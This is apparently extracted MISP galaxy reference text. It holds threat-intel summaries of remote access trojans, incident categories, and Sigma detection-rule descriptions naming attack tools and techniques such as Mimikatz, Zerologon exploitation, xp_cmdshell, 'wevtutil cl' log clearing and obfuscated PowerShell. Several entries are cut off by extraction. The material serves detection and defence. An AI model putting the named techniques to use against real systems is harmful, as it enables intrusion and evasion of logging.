On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government. The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported. The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming. htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversary's arsenal in a campaign against Association of Southeast Asian Nations (ASEAN). Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs and manage files. They support a fixed set of commands operators can execute using different command IDs —‘file download’ or ‘file upload,’ for example—and must be completely rebuilt to have different functionality. htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect. On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different file on the victim's network, simply by wrapping
commands.

**FALLCHILL**

According to trusted third-party reporting, HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace, telecommunications, and finance industries. The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control (C2) server to a victim’s system via dual proxies. FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors. HIDDEN COBRA actors use an external tool or dropper to install the FALLCHILL malware-as-a-service to establish persistence. Because of this, additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL.

</tr>
</tbody>
</table>
Coldroot

Coldroot, a remote access trojan (RAT), is still undetectable by most antivirus engines, despite being uploaded and freely available on GitHub for almost two years. The RAT appears to have been created as a joke, "to Play with Mac users," and "give Mac it's rights in this [the RAT] field," but has since expanded to work all three major desktop operating systems — Linux, macOS, and Windows— according to a screenshot of its builder extracted from a promotional YouTube video.

The tag is: misp-galaxy:rat="Coldroot"

Comnie

Comnie is a RAT originally identified by Sophos. It has been using Github, Tumbler and Blogspot as covert channels for its C2 communications. Comnie has been observed targetting government, defense, aerospace, high-tech and telecommunication sectors in Asia.

The tag is: misp-galaxy:rat="Comnie"

GravityRAT

GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We've seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor.

The tag is: misp-galaxy:rat="GravityRAT"
ARS VBS Loader

ARS VBS Loader not only downloads and executes malicious code, but also includes a command and control application written in PHP that allows a botmaster to issue commands to a victim's machine. This behavior likens ARS VBS Loader to a remote access Trojan (RAT), giving it behavior and capabilities rarely seen in malicious "loaders".

The tag is: misp-galaxy:rat="ARS VBS Loader"

RadRAT

RadRAT, its capabilities include: unfettered control of the compromised computer, lateral movement across the organization (Mimikatz-like credentials harvesting, NTLM hash harvesting from the Windows registry and implementation of the Pass-the-Hash attack on SMB connections) and rootkit-like detection-evasion mechanisms.

The tag is: misp-galaxy:rat="RadRAT"

FlawedAmmyy

FlawedAmmyy, has been used since the beginning of 2016 in both highly targeted email attacks as well as massive, multi-million message campaigns. The RAT is based on leaked source code for Version 3 of the Ammyy Admin remote desktop software. As such FlawedAmmyy contains the
functionality of the leaked version, including: Remote Desktop control, File system manager, Proxy support, Audio Chat.

The tag is: `misp-galaxy:rat="FlawedAmmyy"`

Joanap

Joanap is a two-stage malware used to establish peer-to-peer communications and to manage botnets designed to enable other operations. Joanap malware provides HIDDEN COBRA actors with the ability to exfiltrate data, drop and run secondary payloads, and initialize proxy communications on a compromised Windows device.

The tag is: misp-galaxy:rat="joanap"

Sisfader

Sisfader maintains persistence installing itself as a system service, it is made up of multiple components ([1] Dropper - installing the malware, [2] Agent - main code of the RAT, [3] Config - written to the registry, [4] Auto Loader - responsible for extracting the Agent, the Config from the registry) and it has its own custom protocol for communication.

The tag is: misp-galaxy:rat="Sisfader"

SocketPlayer

The RAT is written in .NET, it uses socket.io for communication. Currently there are two variants of the malware, the 1st variant is a typical downloader whereas the 2nd one has download and C2 functionalities.

The tag is: misp-galaxy:rat="SocketPlayer"

TheOneSpy

Remotely monitor and control any wrong activity of kids on all smartphones & computers

The tag is: misp-galaxy:rat="TheOneSpy"
BONDUPDATER

BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017, when OilRig targeted a different Middle Eastern governmental organization. The BONDUPDATER Trojan contains basic backdoor functionality, allowing threat actors to upload and download files, as well as the ability to execute commands. BONDUPDATER, like other OilRig tools, uses DNS tunneling to communicate with its C2 server. During the past month, Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware, which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications.

The tag is: misp-galaxy:rat="BONDUPDATER"

FlawedGrace

Proofpoint also point out that FlawedGrace is a full-featured RAT written in C++ and that it is a very large program that "extensive use of object-oriented and multithreaded programming techniques. "As a consequence, getting familiar with its internal structure takes a lot of time and is far from a simple task.

The tag is: misp-galaxy:rat="FlawedGrace"

H-worm

H-worm is a VBS (Visual Basic Script) based RAT written by an individual going by the name Houdini. We believe the author is based in Algeria and has connections to njq8, the author of njw0rm [1] and njRAT/LV [2] through means of a shared or common code base. We have seen the H-worm RAT being employed in targeted attacks against the international energy industry; however, we also see it being employed in a wider context as run of the mill attacks through spammed email attachments and malicious links.
The tag is: \textit{misp-galaxy:rat="H-worm"}

H-worm is also known as:

- WSHRat
- Houdini
- Dunihi

**FlawedAmmy**

During the month of October, Check Point researchers discovered a widespread malware campaign spreading a remote access trojan (dubbed “FlawedAmmy”) that allows attackers to take over victims' computers and data. The campaign was the latest and most widespread delivering the ‘FlawedAmmy’ RAT, following a number of campaigns that have spread this malware in recent months. The Trojan allows attackers to gain full access to the machine’s camera and microphone, collect screen grabs, steal credentials and sensitive files, and intrusively monitor the victims’ actions. As a result, FlawedAmmy is the first RAT to enter the Global Threat Index’s top 10 ranking.

The tag is: `misp-galaxy:rat="FlawedAmmy"`

**Felipe**

The Zscaler ThreatLabZ team came across a new strain of infostealer Trojan called Felipe, which silently installs itself onto a user's system and connects to a command-and-control (C&C) server to send system information from the compromised system. This malware is compiled for both 32-bit and 64-bit Windows operating systems. Felipe basically steals the victim's debit and credit card information and sends it, along with other personal information, to the remote C&C server. It also sets a date and time to perform other malicious activity upon successful infection of the victim machine.

The tag is: `misp-galaxy:rat="Felipe"`

Sepulcher

A China-based APT has been sending organizations spear-phishing emails that distribute a never-before-seen intelligence-collecting RAT dubbed Sepulcher.

Researchers discovered the new malware being distributed over the past six months through two separate campaigns. The first, in March, targeted European diplomatic and legislative bodies, non-profit policy research organizations and global organizations dealing with economic affairs. The second, in July, targeted Tibetan dissidents. They tied the campaigns to APT group TA413, which researchers say has been associated with Chinese state interests and is known for targeting the Tibetan community.

“Based on the use of publicly known sender addresses associated with Tibetan dissident targeting and the delivery of Sepulcher malware payloads, [we] have attributed both campaigns to the APT actor TA413,” said Proofpoint researchers in a Wednesday analysis. “The usage of publicly known Tibetan-themed sender accounts to deliver Sepulcher malware demonstrates a short-term realignment of TA413’s targets of interest.”

</table>
Guildma

The campaign spreads via phishing emails posing as invoices, tax reports, invitations and similar types of messages containing a ZIP archive attachment with a malicious LNK file. When a user opens the malicious LNK file, it abuses the Windows Management Instrumentation Command-line tool and silently downloads a malicious XSL file. The XSL file downloads all of Guildma’s modules and executes a first stage loader, which loads the rest of the modules. The malware is then active and waits for commands from the C&C server and/or specific user interactions, such as opening a webpage of one of the targeted banks.

The tag is: misp-galaxy:rat="Guildma"

Guildma is also known as:

- Astaroth

DarkWatchman

In late November, Prevailion’s Adversarial Counterintelligence Team (PACT) identified what appeared to be a malicious javascript-based Remote Access Trojan (RAT) that uses a robust Domain Generation Algorithm (DGA) to identify its Command and Control (C2) infrastructure and that utilizes novel methods for fileless persistence, on-system activity, and dynamic run-time capabilities like self-updating and recompilation. This RAT, which PACT refers to by its internal codename “DarkWatchman”, has been observed being distributed by email and represents an evolution in fileless malware techniques, as it uses the registry for nearly all temporary and permanent storage and therefore never writes anything to disk, allowing it to operate beneath or around the detection threshold of most security tools. PACT has reverse engineered the DGA, dynamically analyzed the malware, investigated the Threat Actor’s (TA) web-based infrastructure, and consolidated the results of our analysis into the following report.

The tag is: `misp-galaxy:rat="DarkWatchman"`

DarkWatchman is also known as:

STRRAT

STRRAT is a Java-based RAT with a JavaScript wrapper/dropper that was discovered in 2020. Its core payload (a .JAR file) is contained under several layers of obfuscation and encoding inside the JavaScript wrapper/dropper.
STRRAT is propagated by malicious email attachments. Its capabilities include standard RAT functionalities (remote access, remote command execution), browser and email-client credential harvesting, and a unique ransomware-like functionality – if instructed, it will add a “.crimson” extension to files on the device, rendering them inoperable (though they can be easily recovered because their content is not modified).

Unlike many Java-based malware, STRRAT does not require Java to be installed on the infected system in order to operate. When the JavaScript wrapper/dropper is executed, if a suitable Java runtime installation is not found, one will be downloaded and installed in order to assure the contained Java payload can execute.

The tag is: `misp-galaxy:rat="STRRAT"`

Outage caused e.g. by air condition failure or natural disaster.

The tag is: `misp-galaxy:rsit="Availability:Outage"`

**Information Content Security: Unauthorised access to information**

Unauthorised access to information, e.g. by abusing stolen login credentials for a system or application, intercepting traffic or gaining access to physical documents.

The tag is: `misp-galaxy:rsit="Information Content Security:Unauthorised access to information"`

**Information Content Security: Unauthorised modification of information**

Unauthorised modification of information, e.g. by an attacker abusing stolen login credentials for a system or application or a ransomware encrypting data. Also includes defacements.

The tag is: `misp-galaxy:rsit="Information Content Security:Unauthorised modification of information"`

View relationships graph

Information Content Security: Unauthorised modification of information has relationships with:

- similar: `misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565"` with estimative-language:likelihood-probability="likely"

**Information Content Security: Data Loss**

Loss of data, e.g. caused by harddisk failure or physical theft.

The tag is: `misp-galaxy:rsit="Information Content Security:Data Loss"`

**Information Content Security: Leak of confidential information**

Leaked confidential information like credentials or personal data.
The tag is: `misp-galaxy:rsit="Information Content Security: Leak of confidential information"`

**Fraud: Unauthorised use of resources**

Using resources for unauthorised purposes including profit-making ventures, e.g. the use of e-mail to participate in illegal profit chain letters or pyramid schemes.

The tag is: `misp-galaxy:rsit="Fraud: Unauthorised use of resources"`

**Fraud: Copyright**

Offering or installing copies of unlicensed commercial software or other copyright protected materials (Warez).

The tag is: `misp-galaxy:rsit="Fraud: Copyright"`

**Fraud: Masquerade**

Type of attack in which one entity illegitimately impersonates the identity of another in order to benefit from it.

The tag is: `misp-galaxy:rsit="Fraud: Masquerade"`

**Fraud: Phishing**

Masquerading as another entity in order to persuade the user to reveal private credentials. This IOC most often refers to a URL, which is used to phish user credentials.

The tag is: `misp-galaxy:rsit="Fraud: Phishing"`

View relationships graph

Fraud: Phishing has relationships with:

- similar: `misp-galaxy:mitre-attack-pattern="Phishing - T1566"` with estimative-language:likelihood-probability="likely"

**Vulnerable: Weak crypto**

Publicly accessible services offering weak crypto, e.g. web servers susceptible to POODLE/FREAK attacks.

The tag is: `misp-galaxy:rsit="Vulnerable: Weak crypto"`

**Vulnerable: DDoS amplifier**

Publicly accessible services that can be abused for conducting DDoS reflection/amplification attacks, e.g. DNS open-resolvers or NTP servers with monlist enabled.
Vulnerable:DDoS amplifier has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="likely"

Vulnerable:Potentially unwanted accessible services

Potentially unwanted publicly accessible services, e.g. Telnet, RDP or VNC.

Vulnerable:Information disclosure

Publicly accessible services potentially disclosing sensitive information, e.g. SNMP or Redis.

Vulnerable:Vulnerable system

A system which is vulnerable to certain attacks. Example: misconfigured client proxy settings (example: WPAD), outdated operating system version, XSS vulnerabilities, etc.

Other:Uncategorised

All incidents which don't fit in one of the given categories should be put into this class or the incident is not categorised.

Other:Undetermined

The categorisation of the incident is unknown/undetermined.

Test:Test

Meant for testing.

OMIGOD HTTP No Authentication RCE

Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.

The tag is: misp-galaxy:sigma-rules="OMIGOD HTTP No Authentication RCE"

View relationships graph

**Suspicious DNS Z Flag Bit Set**

The DNS Z flag is a bit within the DNS protocol header that, per the IETF design, is meant to be used reserved (unused). Although recently it has been used in DNSSEC, the value being set to anything other than 0 should be rare. Otherwise, if it is set to non-0 and DNSSEC is being used, then excluding the legitimate domains is low effort and high reward. Determine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one-off or the possibility of larger sensitive file gathering. This Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs'

The tag is: `misp-galaxy:sigma-rules="Suspicious DNS Z Flag Bit Set"`

**HackTool - CoercedPotato Named Pipe Creation**

Detects the pattern of a pipe name as used by the hack tool CoercedPotato

The tag is: *misp-galaxy:sigma-rules*="HackTool - CoercedPotato Named Pipe Creation"

**View relationships graph**

HackTool - CoercedPotato Named Pipe Creation has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Process Injection - T1055" with estimative-
PsExec Tool Execution From Suspicious Locations - PipeName

Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack.

The tag is: `misp-galaxy:sigma-rules="PsExec Tool Execution From Suspicious Locations - PipeName"`

View relationships graph

PsExec Tool Execution From Suspicious Locations - PipeName has relationships with:

Mimikatz Use

This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups).

The tag is: `misp-galaxy:sigma-rules="Mimikatz Use"`

View relationships graph

Mimikatz Use has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004"` with estimative-
Firewall Rule Modified In The Windows Firewall Exception List

Dectects when a rule has been modified in the Windows firewall exception list

The tag is: *misp-galaxy:sigma-rules="Firewall Rule Modified In The Windows Firewall Exception List"

View relationships graph

Firewall Rule Modified In The Windows Firewall Exception List has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

New Firewall Exception Rule Added For A Suspicious Folder

Detects the addition of a rule to the Windows Firewall exception list where the application resides in a suspicious folder

The tag is: *misp-galaxy:sigma-rules="New Firewall Exception Rule Added For A Suspicious Folder"

View relationships graph

New Firewall Exception Rule Added For A Suspicious Folder has relationships with:
The Windows Defender Firewall Service Failed To Load Group Policy

Detects activity when The Windows Defender Firewall service failed to load Group Policy

The tag is: misp-galaxy:sigma-rules="The Windows Defender Firewall Service Failed To Load Group Policy"

View relationships graph

The Windows Defender Firewall Service Failed To Load Group Policy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

A Rule Has Been Deleted From The Windows Firewall Exception List

Detects when a single rules or all of the rules have been deleted from the Windows Defender Firewall

The tag is: misp-galaxy:sigma-rules="A Rule Has Been Deleted From The Windows Firewall Exception List"

View relationships graph
A Rule Has Been Deleted From The Windows Firewall Exception List has relationships with:

Impacket PsExec Execution

Detects execution of Impacket's psexec.py.

The tag is: *misp-galaxy:.sigma-rules=*"Impacket PsExec Execution"

View relationships graph

Impacket PsExec Execution has relationships with:

Remote Service Activity via SVCCTL Named Pipe

Detects remote service activity via remote access to the svcctl named pipe

The tag is: *misp-galaxy:.sigma-rules=*"Remote Service Activity via SVCCTL Named Pipe"

View relationships graph

Remote Service Activity via SVCCTL Named Pipe has relationships with:

**Windows Event Auditing Disabled**

Detects scenarios where system auditing (i.e.: Windows event log auditing) is disabled. This may be used in a scenario where an entity would want to bypass local logging to evade detection when Windows event logging is enabled and reviewed. Also, it is recommended to turn off "Local Group Policy Object Processing" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as "gpedit.msc". Please note, that disabling "Local Group Policy Object Processing" may cause an issue in scenarios of one off specific GPO modifications - however, it is recommended to perform these modifications in Active Directory anyways.

The tag is: *misp-galaxy:sigma-rules="Windows Event Auditing Disabled"

View relationships graph

T1047 Wmiprvse Wbemcomn DLL Hijack

Detects a threat actor creating a file named wbemcomn.dll in the C:\Windows\System32\wbem\ directory over the network for a WMI DLL Hijack scenario.

The tag is: misp-galaxy:sigma-rules="T1047 Wmiprvse Wbemcomn DLL Hijack"

T1047 Wmiprvse Wbemcomn DLL Hijack has relationships with:

Unauthorized System Time Modification

Detect scenarios where a potentially unauthorized application or user is modifying the system time.

The tag is: misp-galaxy:sigma-rules="Unauthorized System Time Modification"

NetNTLM Downgrade Attack

Detects NetNTLM downgrade attack

The tag is: misp-galaxy:sigma-rules="NetNTLM Downgrade Attack"
VSSAudit Security Event Source Registration

Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.

The tag is: `misp-galaxy:sigma-rules="VSSAudit Security Event Source Registration"`

View relationships graph

VSSAudit Security Event Source Registration has relationships with:

Password Change on Directory Service Restore Mode (DSRM) Account

The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password to gain persistence.

The tag is: `misp-galaxy:sigma-rules="Password Change on Directory Service Restore Mode (DSRM) Account"`

View relationships graph

Password Change on Directory Service Restore Mode (DSRM) Account has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"` with estimative-language:likelihood-probability="almost-certain"
Service Registry Key Read Access Request

Detects "read access" requests on the services registry key. Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.

The tag is: `misp-galaxy:sigma-rules="Service Registry Key Read Access Request"`

View relationships graph

Service Registry Key Read Access Request has relationships with:

</table>
PetitPotam Suspicious Kerberos TGT Request

Detect suspicious Kerberos TGT requests. Once an attacker obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes. One way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus. This request will generate a 4768 event with some unusual fields depending on the environment. This analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.

The tag is: `misp-galaxy:sigma-rules="PetitPotam Suspicious Kerberos TGT Request"`

View relationships graph

PetitPotam Suspicious Kerberos TGT Request has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187"` with estimative-language:likelihood-probability="almost-certain"

</table>

Potential Privileged System Service Operation - SeLoadDriverPrivilege

Detects the usage of the 'SeLoadDriverPrivilege' privilege. This privilege is required to load or unload a device driver. With this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode. This user right does not apply to Plug and Play device drivers. If you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers. This will detect Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs) and the usage of Sysinternals and various other tools. So you have to work with a whitelist to find the bad stuff.

The tag is: `misp-galaxy:sigma-rules="Potential Privileged System Service Operation - SeLoadDriverPrivilege"`

View relationships graph

Potential Privileged System Service Operation - SeLoadDriverPrivilege has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with

**Azure AD Health Service Agents Registry Keys Access**

This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS). Information from AD Health
service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation). This detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\SOFTWARE\Microsoft\ADHealthAgent. Make sure you set the SACL to propagate to its sub-keys.

The tag is: `misp-galaxy:sigma-rules="Azure AD Health Service Agents Registry Keys Access"`

View relationships graph

Azure AD Health Service Agents Registry Keys Access has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Query Registry - T1012"` with estimative-language:likelihood-probability="almost-certain"

MSSQL Server Failed Logon From External Network

Detects failed logon attempts from clients with external network IP to an MSSQL server. This can be a sign of a bruteforce attack.

The tag is: `misp-galaxy: sigma-rules="MSSQL Server Failed Logon From External Network"

View relationships graph

MSSQL Server Failed Logon From External Network has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Brute Force - T1110"` with estimative-
MSSQL XPCmdshell Suspicious Execution

Detects when the MSSQL "xp_cmdshell" stored procedure is used to execute commands

The tag is: misp-galaxy:sigma-rules="MSSQL XPCmdshell Suspicious Execution"

MSSQL Add Account To Sysadmin Role

Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role

The tag is: misp-galaxy:sigma-rules="MSSQL Add Account To Sysadmin Role"

MSSQL Disable Audit Settings

Detects when an attacker calls the "ALTER SERVER AUDIT" or "DROP SERVER AUDIT" transaction in order to delete or disable audit logs on the server
Scheduled Task Executed Uncommon LOLBIN

Detects the execution of Scheduled Tasks where the program being run is located in a suspicious location or where it is an unusual program to be run from a Scheduled Task

The tag is: misp-galaxy:sigma-rules="Scheduled Task Executed Uncommon LOLBIN"

View relationships graph

Scheduled Task Executed Uncommon LOLBIN has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Scheduled Task Executed From A Suspicious Location

Detects the execution of Scheduled Tasks where the Program being run is located in a suspicious location or it's an unusual program to be run from a Scheduled Task

The tag is: misp-galaxy:sigma-rules="Scheduled Task Executed From A Suspicious Location"

View relationships graph

Scheduled Task Executed From A Suspicious Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
Important Scheduled Task Deleted

Detects when adversaries try to stop system services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities.

The tag is: `misp-galaxy:sigma-rules="Important Scheduled Task Deleted"`

View relationships graph

Important Scheduled Task Deleted has relationships with:

- `related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"

USB Device Plugged

Detects plugged/unplugged USB devices.

The tag is: `misp-galaxy:sigma-rules="USB Device Plugged"`

View relationships graph

USB Device Plugged has relationships with:

- `related-to: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200"` with estimative-language:likelihood-probability="almost-certain"
Loading Diagcab Package From Remote Path

Dectects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability.

The tag is: `misp-galaxy:sigma-rules="Loading Diagcab Package From Remote Path"`

QuarksPwDump Clearing Access History

Detects QuarksPwDump clearing access history in hive

The tag is: *misp-galaxy:sigma-rules="QuarksPwDump Clearing Access History"*

View relationships graph

QuarksPwDump Clearing Access History has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002"* with
Potential RDP Exploit CVE-2019-0708

Detect suspicious error on protocol RDP, potential CVE-2019-0708

The tag is: misp-galaxy: sigma-rules="Potential RDP Exploit CVE-2019-0708"

View relationships graph

Potential RDP Exploit CVE-2019-0708 has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language: likelihood-probability="almost-certain"

Volume Shadow Copy Mount

Detects volume shadow copy mount via Windows event log

The tag is: misp-galaxy: sigma-rules="Volume Shadow Copy Mount"

View relationships graph

Volume Shadow Copy Mount has relationships with:

Suspicious Usage of CVE_2021_34484 or CVE 2022_21919

During exploitation of this vulnerability, two logs (Provider_Name:Microsoft-Windows-User Profiles Service) with EventID 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \Users\TEMP is created may be created during the exploitation. Viewed on 2008 Server

The tag is: misp-galaxy:sigma-rules="Suspicious Usage of CVE_2021_34484 or CVE 2022_21919"

Table 8541. Table References

</table>

Local Privilege Escalation Indicator TabTip

Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode
Local Privilege Escalation Indicator TabTip has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

### NTLMv1 Logon Between Client and Server

Detects the reporting of NTLMv1 being used between a client and server. NTLMv1 is insecure as the underlying encryption algorithms can be brute-forced by modern hardware.

The tag is: misp-galaxy: sigma-rules="NTLMv1 Logon Between Client and Server"

### Potential CVE-2021-42287 Exploitation Attempt

The attacker creates a computer object using those permissions with a password known to her. After that she clears the attribute ServicePrincipalName on the computer object. Because she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.

The tag is: misp-galaxy: sigma-rules="Potential CVE-2021-42287 Exploitation Attempt"
Potential CVE-2021-42287 Exploitation Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

### Tap Driver Installation

Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques
**Tap Driver Installation**

Tap Driver Installation has relationships with:

---

**KrbRelayUp Service Installation**

Detects service creation from KrbRelayUp tool used for privilege escalation in Windows domain environments where LDAP signing is not enforced (the default settings)

The tag is: *misp-galaxy: sigma-rules="KrbRelayUp Service Installation"*

---

**Invoke-Obfuscation Via Use MSHTA - System**

Detects Obfuscated Powershell via use MSHTA in Scripts

The tag is: *misp-galaxy: sigma-rules="Invoke-Obfuscation Via Use MSHTA - System"*
Invoke-Obfuscation Via Use Clip - System

Detects Obfuscated Powershell via use Clip.exe in Scripts

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Clip - System"

View relationships graph

Invoke-Obfuscation Via Use Clip - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Invoke-Obfuscation CLIP+ Launcher - System

Detects Obfuscated use of Clip.exe to execute PowerShell

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation CLIP+ Launcher - System"

View relationships graph

Invoke-Obfuscation CLIP+ Launcher - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Eventlog Cleared

One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution

The tag is: *misp-galaxy: sigma-rules*="Eventlog Cleared"

View relationships graph

Eventlog Cleared has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern*="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
Important Windows Eventlog Cleared

Detects the clearing of one of the Windows Core Eventlogs. e.g. caused by "wevtutil cl" command execution

The tag is: misp-galaxy:sigma-rules="Important Windows Eventlog Cleared"

View relationships graph

Zerologon Exploitation Using Well-known Tools

This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with "kali" hostname.

The tag is: misp-galaxy:sigma-rules="Zerologon Exploitation Using Well-known Tools"

View relationships graph
### Vulnerable Netlogon Secure Channel Connection Allowed

Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.

The tag is: `misp-galaxy:sigma-rules="Vulnerable Netlogon Secure Channel Connection Allowed"`

View relationships graph

Vulnerable Netlogon Secure Channel Connection Allowed has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548"` with `estimative-language:likelihood-probability="almost-certain"`

### Sysmon Crash

Detects application popup reporting a failure of the Sysmon service

The tag is: `misp-galaxy:sigma-rules="Sysmon Crash"`

View relationships graph

Sysmon Crash has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562"` with `estimative-language:likelihood-probability="almost-certain"`
KDC RC4-HMAC Downgrade CVE-2022-37966

Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation

The tag is: misp-galaxy:sigma-rules="KDC RC4-HMAC Downgrade CVE-2022-37966"

Certificate Use With No Strong Mapping

Detects a user certificate that was valid but could not be mapped to a user in a strong way (such as via explicit mapping, key trust mapping, or a SID) This could be a sign of exploitation of the elevation of privilege vulnerabilities (CVE-2022-34691, CVE-2022-26931, CVE-2022-26923) that can occur when the KDC allows certificate spoofing by not requiring a strong mapping. Events where the AccountName and CN of the Subject do not match, or where the CN ends in a dollar sign indicating a machine, may indicate certificate spoofing.

The tag is: misp-galaxy:sigma-rules="Certificate Use With No Strong Mapping"

DHCP Server Loaded the CallOut DLL

This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded

The tag is: misp-galaxy:sigma-rules="DHCP Server Loaded the CallOut DLL"
DHCP Server Error Failed Loading the CallOut DLL

This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded.

The tag is: `misp-galaxy:sigma-rules="DHCP Server Error Failed Loading the CallOut DLL"`

**View relationships graph**

DHCP Server Error Failed Loading the CallOut DLL has relationships with:

Suspicious Digital Signature Of AppX Package

Detects execution of AppX packages with known suspicious or malicious signature.

The tag is: `misp-galaxy:sigma-rules="Suspicious Digital Signature Of AppX Package"`

Terminal Server Client Connection History Cleared - Registry

Detects the deletion of registry keys containing the MSTSC connection history

The tag is: misp-galaxy:sigma-rules="Terminal Server Client Connection History Cleared - Registry"

View relationships graph

Terminal Server Client Connection History Cleared - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8672. Table References
Removal Of SD Value to Hide Schedule Task - Registry

